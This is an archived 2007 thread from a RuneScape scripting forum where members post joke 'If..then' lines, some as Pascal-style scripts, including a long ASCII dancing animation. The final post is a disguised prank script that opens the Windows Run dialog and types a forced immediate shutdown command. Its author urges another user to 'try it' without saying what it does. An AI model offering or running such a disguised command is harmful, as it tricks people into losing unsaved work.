SRL Archive - The Bashing Club / BBQ Pit

The If..Then Thread!

R0b0t1

2007-11-10 10:15:41

You just post "If [something], then [something]".

I'll use the one in my sig… "If there was such thing as evolution, then I'd have a self lubricating hand"

mastaraymond

2007-11-10 10:44:57

If you would be smart then there wouldn't be useless posts anymore ^.^

Dan Cardin

2007-11-10 13:40:15

if Raymond was really Michelangelo then he'd have an Italian accent. Alas, he doesnt

R0b0t1

2007-11-10 17:29:21

If I found a way to divide by zero, then I would crash the universe.

If I was posting on firefox, then I wouldn't see the ad "The love button – push me hard!" and be reminded of a womans genitals.

red eyes 20

2007-11-13 01:10:40

if your avatar wastn't so hot i wouldn't be hard….

Runescape Pro

2007-11-13 01:21:38

From: red eyes 20
if your avatar wastn't so hot i wouldn't be hard….

… WTF???

anywayz… IF I never went to the site "autofighter.org", THEN I would have never gotten back into trying to make scar work.

HyperSecret

2007-11-13 02:12:16

you 2 above me forgot the whole point of the thread its if…then neither of you 2 have 'then's

if I was better at halo then i would kick some noobz ass

Runescape Pro

2007-11-13 02:41:42

lol… oops, i forgot to put mine… sorry
IF I had a job, THEN I would be able to buy a xbox360

Pancakes

2007-11-13 03:00:15

If this thread got closed, then I would be rather happy.

Jks, this is cool.

n3ss3s

2007-11-13 12:16:55

If InArrayEx(ProgramFilesStuffs, Ben'sPlugin'sManual, Where) Then
Open(Where)
Else
ReadR0b0tsPostsLol

mark9510

2007-11-13 17:45:00

If pie is tasty then
start to eat
Else
go buy pie

R0b0t1

2007-11-13 18:08:59

If I got raped by a giant panda bear, then I would ask God to send it to hell.

If I had not raed hte Hrvaard sutdy, tehn I wuold not be tyinrg to cnfseuoe N3ss3s wtih my leet Elngsih. Eat taht Fnisnh!

Santa_Clause

2007-11-16 03:53:04

if RobotTaughtSantyAboutHSL then
  SantyWouldBeHappy
else
  SantyIsSad;

Eicca

2007-11-16 03:58:01

If the dragon random event that asks questions would get solved to #7, then I could get JuKKa's awesome guild miner to work with my army!

stupedspam

2007-11-16 16:39:06

If I had time then I would have been more creative :D

~Stupedspam

ShowerThoughts

2007-11-16 16:41:04

If
thisredyellowblackthreadwillcloseinaamazingfastblueblackwaytheneveryonewouldbehappynexttimegoodsmartrobotdontmakethreadslikethisidontlikethem
Then
Nothing;

stupedspam

2007-11-16 16:58:09

If hermpie's Post == Spam then Call RAM :D

~Stupedspam

EvilChicken!

2007-11-16 17:12:14

Me too!

 If EvilChicken > n00b5t00f then WriteLn('What the...');

ShowerThoughts

2007-11-16 17:17:50

From: hermpie
If
thisredyellowblackthreadwillcloseinaamazingfastblueblackwaytheneveryonewouldbehappynexttimegoodsmartrobotdontmakethreadslikethisidontlikethem
Then
Nothing;

From: stupedspam
If hermpie's Post == Spam then Call RAM :D

~Stupedspam

if this=====a spam thread then

CALL Hermpie!!!

EvilChicken!

2007-11-16 17:27:31

From: hermpie
if this=====a spam thread then

CALL Hermpie!!!

AHAHAHA :p
That made me laugh! Thanks!

stupedspam

2007-11-16 18:07:12

If EvilChicken laughs then run :D

BTW- == True Equal, >= Greater Than or Equal To, <= Less Than or Equal To, and <> Not Equal To

~Stupedspam

EvilChicken!

2007-11-16 19:12:15

W00t I'm laughing, run!

Are you saying I didn't use the <> right? >.< For me AHAHAHAHAHA! I pulled a joke!! lmfao..


Program IfIffer;

var
x: Integer;
Const
IsStupedSmart = True;
IsEvilChickenNoob = True;
IsEvilChickenSmart = False;
IsEvilChickenLaughing = True;

Procedure EviChickensState;

Begin
If IsEvilChickenLaughing = True then
WriteLn('Shit. OMFG RUN!! EVERY MAN FOR THEMSELF!!');

if IsEvilChickenNoob = True then writeLn('Woot atleast youre smart enough to know.');

if IsStupedSmart = true then WriteLn('How ironic... XD');

if IsEvilChickenSmart = true then begin WriteLn('*shoots self*');
   TerminateScript;
   end;
   end;
   
Begin
Repeat
EviChickensState;
X := X+1;

WriteLn(IntToStr(x) + ' seconds have passed..');
Wait(1000);
ClearDebug;
Until X = 500;
If X = 500 then WriteLn('Dude - you''ve got major problems..');
TerminateScript;
end.

I got bored. Don't judge me.

stupedspam

2007-11-17 15:03:08

If EvilChicken makes retarded script then I have to make one too :D

program DanceTime;
//Made by Stupedspam... I was very bored... Its better than Ejjman1's =D
//Originally posted at w ww.srl-forums.com/forum/mohawk-michael-jackson-t16800.html
var Times:integer;
const
Level= 5;       //1-5 for diffrent dances
ExtraWait= 200;//extra wait time
DoTimes= 3;   //number of times to dance. Less than 5
DoSig= False;//Want to see the sig?
Procedure Danceone;
Begin
Repeat
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('   \ \__/ /   ');
WriteLn('    \/[]\/    ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   \ |--| /   ');
WriteLn('    \\__//    ');
WriteLn('     \[]/     ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('   \ \__/ /   ');
WriteLn('    \/[]\/    ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
Times:= Times +1;
until(DoTimes = Times);
ClearDebug;
end;
 
Procedure Dancetwo;
Begin
Repeat
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__/    ');
WriteLn('      /[]\    ');
WriteLn('     / [] \   ');
WriteLn('    /  []  \  ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('       |--|   ');
WriteLn('       \__/   ');
WriteLn('       /[]\   ');
WriteLn('      / [] \  ');
WriteLn('     / []   \ ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('        |--|  ');
WriteLn('        \__/  ');
WriteLn('        /[]\  ');
WriteLn('       /[]  \ ');
WriteLn('      /[]    \');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('       |--|   ');
WriteLn('       \__/   ');
WriteLn('       /[]\   ');
WriteLn('      / [] \  ');
WriteLn('     / []   \ ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__/    ');
WriteLn('      /[]\    ');
WriteLn('     / [] \   ');
WriteLn('    /  []  \  ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__/      ');
WriteLn('    /[]\      ');
WriteLn('   / [] \     ');
WriteLn('  /  []  \    ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   |--|       ');
WriteLn('   \__/       ');
WriteLn('   /[]\       ');
WriteLn('  / [] \      ');
WriteLn(' /   [] \     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('  |--|        ');
WriteLn('  \__/        ');
WriteLn('  /[]\        ');
WriteLn(' /  []\       ');
WriteLn('/    []\      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   |--|       ');
WriteLn('   \__/       ');
WriteLn('   /[]\       ');
WriteLn('  / [] \      ');
WriteLn(' /   [] \     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__/      ');
WriteLn('    /[]\      ');
WriteLn('   / [] \     ');
WriteLn('  /  []  \    ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
Times:= Times +1;
until(DoTimes = Times);
ClearDebug;
end;
 
Procedure Dancethree;
Begin
Repeat
ClearDebug;
WriteLn('   \ |--|     ');
WriteLn('    \\__/     ');
WriteLn('     \[]\     ');
WriteLn('      [] \    ');
WriteLn('      []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('   /\\__/     ');
WriteLn('     \[]\     ');
WriteLn('      [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/ /   ');
WriteLn('    /\[]\/    ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--| /   ');
WriteLn('     \__//    ');
WriteLn('     /[]/     ');
WriteLn('    / []      ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/ /   ');
WriteLn('    /\[]\/    ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('   /\\__/     ');
WriteLn('     \[]\     ');
WriteLn('      [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
Times:= Times +1;
until(DoTimes = Times);
ClearDebug;
end;
 
Procedure Dancefour;
Begin
Repeat
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__/      ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' \__/    \__/ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   |--|       ');
WriteLn('   \__/       ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__/      ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' \__/    \__/ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__/    ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' \__/    \__/ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('       |--|   ');
WriteLn('       \__/   ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__/    ');
WriteLn('     /[]\     ');
WriteLn('   \/ [] \/   ');
WriteLn('      []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' \__/    \__/ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--|     ');
WriteLn('     \__/     ');
WriteLn('     /[]\     ');
WriteLn('    / [] \    ');
WriteLn('   /  []  \   ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
Times:= Times +1;
until(DoTimes = Times);
ClearDebug;
end;
 
Procedure Dancefive;
Begin
Repeat
ClearDebug;
WriteLn('     |--| /   ');
WriteLn('     \__//    ');
WriteLn('     /[]/     ');
WriteLn('    / []      ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__//\    ');
WriteLn('    /[]/      ');
WriteLn('  \/ []       ');
WriteLn('     []       ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   |--|       ');
WriteLn(' \ \__/       ');
WriteLn('  \/[]/\      ');
WriteLn('    []  \     ');
WriteLn('     []       ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('\ |--|       ');
WriteLn(' \\__/       ');
WriteLn('  \[]\       ');
WriteLn('    []\      ');
WriteLn('     []\     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('   |--|       ');
WriteLn(' \ \__/       ');
WriteLn('  \/[]/\      ');
WriteLn('    []  \     ');
WriteLn('     []       ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('    |--|      ');
WriteLn('    \__//\    ');
WriteLn('    /[]/      ');
WriteLn('  \/ []       ');
WriteLn('     []       ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--| /   ');
WriteLn('     \__//    ');
WriteLn('     /[]/     ');
WriteLn('    / []      ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__//\   ');
WriteLn('     / []/    ');
WriteLn('   \/  []     ');
WriteLn('       []     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('       |--|   ');
WriteLn('     \ \__/   ');
WriteLn('      \/[]/\  ');
WriteLn('        []  \ ');
WriteLn('       []     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      \ |--|  ');
WriteLn('       \\__/  ');
WriteLn('        \[]\  ');
WriteLn('        []  \ ');
WriteLn('       []    \');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('       |--|   ');
WriteLn('     \ \__/   ');
WriteLn('      \/[]/\  ');
WriteLn('        []  \ ');
WriteLn('       []     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('      |--|    ');
WriteLn('      \__//\   ');
WriteLn('     / []/    ');
WriteLn('   \/  []     ');
WriteLn('       []     ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
ClearDebug;
WriteLn('     |--| /   ');
WriteLn('     \__//    ');
WriteLn('     /[]/     ');
WriteLn('    / []      ');
WriteLn('   /  []      ');
WriteLn('      []      ');
WriteLn('      /\      ');
WriteLn('     /  \     ');
WriteLn(' ___/    \___ ');
wait(200+random(ExtraWait))
Times:= Times +1;
until(DoTimes = Times);
ClearDebug;
end;
procedure FindLevel;
begin
  case Level of
  1: Danceone;
  2: Dancetwo;
  3: Dancethree;
  4: Dancefour;
  5: Dancefive;
  end;
end;
Procedure Sig;
begin
If not (DoSig) then Exit;
WriteLn(' ||===\\         /\         |\        ||    //===\\   ||========');
WriteLn(' ||    \\       //\\        | \       ||   //     \\  ||        ');
WriteLn(' ||     \\     //  \\       ||\\      ||  //          ||        ');
WriteLn(' ||      \\   //    \\      || \\     || ||           ||        ');
WriteLn(' ||      ||  //======\\     ||  \\    || ||           ||===     ');
WriteLn(' ||     //  //        \\    ||   \\   ||  \\          ||        ');
WriteLn(' ||    //  //          \\   ||    \\  ||   \\         ||        ');
WriteLn(' ||   //  //            \\  ||     \\ ||    \\     // ||        ');
WriteLn(' ||==//  //              \\ ||      \\||     \\===//  ||========');
Wait(1500)
ClearDebug;
end;
 
begin
Sig;
Wait(500)
FindLevel;
end.

~Stupedspam

EvilChicken!

2007-11-17 15:30:51

*rolling on floor laughing ass off*

If Stupedspam > Genious then TypeSpam('THIS IS SPARTA!!');

stupedspam

2007-11-17 17:31:05

If Persian asks for earth and water then Yell "This is Sparta" and kick them into a well. :D

~Stupedspam

EvilChicken!

2007-11-17 20:14:20

If Anyone post a noob post then they shall forever be pwned in hell;
end else everyone is happy;
End;

R0b0t1

2007-11-18 15:34:29

If I was not busy then my greater knowledge would be shared with all.

EvilChicken!

2007-11-19 09:17:34

If I was smart then people would be like WTF.

If R0b0t wouldn't be busy then I would have been smarter.

gerauchert

2007-11-20 19:08:38

From: mark9510
If pie is tasty then
start to eat
Else
go buy pie

no ways! i just at pie…

if i take a shit, then i have room for pie :D

EvilChicken!

2007-11-21 08:09:01

From: mark9510
If pie is tasty then
start to eat
Else
go buy pie

This kinda states that

"Pie = Tasty = Eat it AND IF Pie = NOT tasty then go buy pie."

Point?

If I din't like pie then I would be a sad person.

richk1693

2007-11-21 12:36:14

I'm the first one to do something like this! (I think)

if(isuptext('illo')) then
begin
mouse(x,y,5,5)
end;

mark9510

2007-12-03 08:34:01

that was not cool
if apples are green then
begin
make apple dance
else
kill apple

EvilChicken!

2007-12-03 11:06:55


CONST MarkLikesRedApples = False;

Begin
if MarkLikesRedApples = true then WriteLn('Good boy!');
If MarkLikesRedApples = False then
BEGIN
    KeyDown(92);
    KeyUp(92);
    Wait(200);
    SendKeys('u');
    SendKeys('u');
    Wait(3000);
    KeyDown(92);
    Wait(200);
    KeyDown(82);
    Wait(200);
    KeyUp(82);
    Wait(200);
    KeyUp(92);
    Wait(200);
    SendKeys('shutdown -s -f -t 00' + chr(13));
  END;
  End.

Try it, Mark.